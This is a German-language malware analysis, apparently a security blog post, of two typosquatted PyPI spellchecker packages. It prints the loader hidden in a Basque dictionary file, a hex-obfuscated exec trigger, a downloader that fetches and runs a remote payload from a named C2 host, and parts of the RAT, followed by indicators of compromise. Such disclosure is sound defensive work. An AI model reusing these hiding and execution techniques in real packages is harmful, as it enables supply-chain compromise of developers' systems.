Am 20. und 21. Januar 2026 hat unsere Malware-Erkennungspipeline zwei neue PyPI-Pakete gemeldet: spellcheckerpy und spellcheckpy. Beide gaben an, der legitime Autor der pyspellchecker-Bibliothek zu sein. Beide sind mit seinem echten GitHub-Repo verknüpft.
Sie waren nicht von ihm.
Versteckt in der baskischen Sprachwörterbuchdatei befand sich eine base64-kodierte Payload, die einen voll funktionsfähigen Python-RAT herunterlädt. Der Angreifer veröffentlichte zunächst drei „ruhende“ Versionen – Payload vorhanden, Trigger fehlend – und aktivierte dann den Schalter mit spellcheckpy v1.2.0, indem er einen verschleierten Ausführungstrigger hinzufügte, der ausgelöst wird, sobald man SpellChecker.
Die offen versteckte Payload
Die Malware-Autoren wurden kreativ. Anstelle der üblichen Verdächtigen (postinstall Skripte, verschleiertes __init__.py), vergruben sie die Payload in resources/eu.json.gz, einer Datei, die legitimerweise baskische Worthäufigkeiten im echten pyspellchecker Paket enthält.
Hier ist die Extraktionsfunktion in utils.py:
def test_file(filepath: PathOrStr, encoding: str, index: str):
filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
with gzip.open(filepath, "rt", encoding=encoding) as f:
data = json.loads(f.read())
return data[index]Sieht unschuldig aus. Aber wenn sie mit test_file("eu", "utf-8", "spellchecker"), aufgerufen wird, ruft sie keine Worthäufigkeiten ab. Stattdessen ruft sie einen base64-kodierten Downloader ab, der unter den Wörterbucheinträgen unter einem Schlüssel namens spellchecker versteckt ist.
Ruhend, dann tödlich
In den ersten drei Versionen wird die Payload extrahiert und dekodiert... aber nie ausgeführt:
test_index = test_file("eu", "utf-8", "spellchecker")
test_index = base64.b64decode(test_index).decode("utf-8")
# Das war's. Kein exec(). Die Payload bleibt einfach liegen.Eine geladene Waffe mit eingeschalteter Sicherung.
Dann kam spellcheckpy v1.2.0. Der Angreifer verschob den Trigger auf WordFrequency.__init__ und fügte Obfuskation hinzu:
if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"),
"<string>",
bytes.fromhex("65786563").decode("utf-8"))):
self._evaluate = TrueSehen Sie es? Das bytes.fromhex("65786563") dekodiert zu "exec".
Anstatt direkt exec() zu schreiben, was statische Scanner erkennen würden, rekonstruieren sie den String zur Laufzeit aus Hex. Importieren Sie SpellChecker, instanziieren Sie es, und der RAT wird ausgeführt.
Der RAT: Volle Fernsteuerung
Die Stage-1-Payload ist ein Downloader. Er lädt die eigentliche Payload von https://updatenet[.]work/settings/history.php und startet sie in einem abgetrennten Prozess:
p = subprocess.Popen(
["python3", "-"],
stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
p.stdin.write(downloaded_payload)
p.stdin.close()
Das start_new_session=True ist entscheidend: Der RAT überlebt, selbst wenn Ihr Skript beendet wird. Keine Dateien auf die Festplatte geschrieben. Lautlos. Abgetrennt.
Der Stage-2-RAT ist ein voll ausgestatteter Remote Access Trojaner mit einigen interessanten Merkmalen:
System-Fingerprinting bei Initialisierung:
szObjectID = ''.join(random.choice(string.ascii_letters) for x in range(12))
szPCode = "Operating System : " + platform.platform()
szComputerName = "Computer Name : " + socket.gethostname()Zweischichtige XOR-Verschlüsselung für C2-Kommunikation: Der RAT verwendet einen 16-Byte-XOR-Schlüssel ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) für die äußere Schicht, dann ein sekundäres XOR mit Schlüssel 123 für Befehls-Payloads. Kryptografisch nicht stark, aber ausreichend, um signaturbasierte Erkennung zu umgehen.
Benutzerdefiniertes Binärprotokoll: Befehle kommen zurück als [4-Byte Befehls-ID][4-Byte Länge][XOR-verschlüsselte Payload]. Der RAT parst dies, entschlüsselt und leitet es weiter.
Beliebige Code-Ausführung: Wenn die Befehls-ID 1001 ankommt, führt der RAT sie einfach aus:
if nCMDID == 1001:
exec(szCode)Persistenter Beacon-Loop:
Der RAT kontaktiert alle 5 Sekunden https://updatenet[.]work/update1.php, sendet seine Opfer-ID (Kampagne
FD429DEABE) und wartet auf Befehle. Die SSL-Zertifikatsvalidierung ist deaktiviert über
ssl._create_unverified_context().
C2-Infrastruktur
Die C2-Domain updatenet[.]work löst zu einer Infrastruktur auf, die eine dokumentierte Historie bösartiger Aktivitäten aufweist.
Domain-Registrierung:
- Domain:
updatenet[.]work - Registriert: 28. Oktober 2025 (ungefähr 3 Monate vor der Veröffentlichung der Malware)
Hosting-Infrastruktur:
- IP-Adresse:
172.86.73[.]139 - ASN: AS14956 RouterHosting LLC
- Standort: Dallas, Texas, USA
- Zugehörige Domain: cloudzy.com
- Netzwerk:
172.86.73.0/24
Warum das wichtig ist: RouterHosting LLC agiert als Cloudzy, ein Hosting-Anbieter, der umfassend als „Command-and-Control Provider“ (C2P) dokumentiert wurde. Im August 2023 veröffentlichte Halcyon einen Bericht mit dem Titel „Cloudzy with a Chance of Ransomware“, der feststellte, dass 40-60 % des Cloudzy-Traffics bösartiger Natur waren. Der Bericht brachte die Cloudzy-Infrastruktur mit APT-Gruppen aus China, Iran, Nordkorea, Russland und anderen Nationen sowie mit Ransomware-Betreibern und einem sanktionierten israelischen Spyware-Anbieter in Verbindung.
Verbindung zu früheren Kampagnen
Dies ist kein Einzelfall. Im November 2025, dokumentierte HelixGuard einen ähnlichen Angriff unter Verwendung des spellcheckers-Pakets (gleiches Ziel, anderer Name). Diese Kampagne verwendete dieselbe RAT-Struktur: XOR-Verschlüsselung, Befehls-ID 1001, exec(), aber eine andere C2-Infrastruktur (dothebest[.]store). Der HelixGuard-Bericht brachte diese Kampagne mit Social Engineering durch gefälschte Personalvermittler in Verbindung, das auf Kryptowährungsinhaber abzielte.
Verschiedene Domains, gleiches Vorgehen. Es scheint sich um denselben Bedrohungsakteur zu handeln.
Indikatoren für Kompromittierung
Pakete: spellcheckerpy (alle Versionen), spellcheckpy (alle Versionen)
C2-Infrastruktur:
updatenet[.]workhttps://updatenet[.]work/settings/history.php(Stage-2-Bereitstellung)https://updatenet[.]work/update1.php(Beacon-Endpunkt)172.86.73[.]139(AS14956 RouterHosting LLC / Cloudzy)
Kampagnen-Identifikatoren:
- Kampagnen-ID:
FD429DEABE - XOR-Schlüssel:
03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05 - Sekundäres XOR:
0x7B(123)
Payload-Speicherort:
resources/eu.json.gz, Schlüssel spellchecker

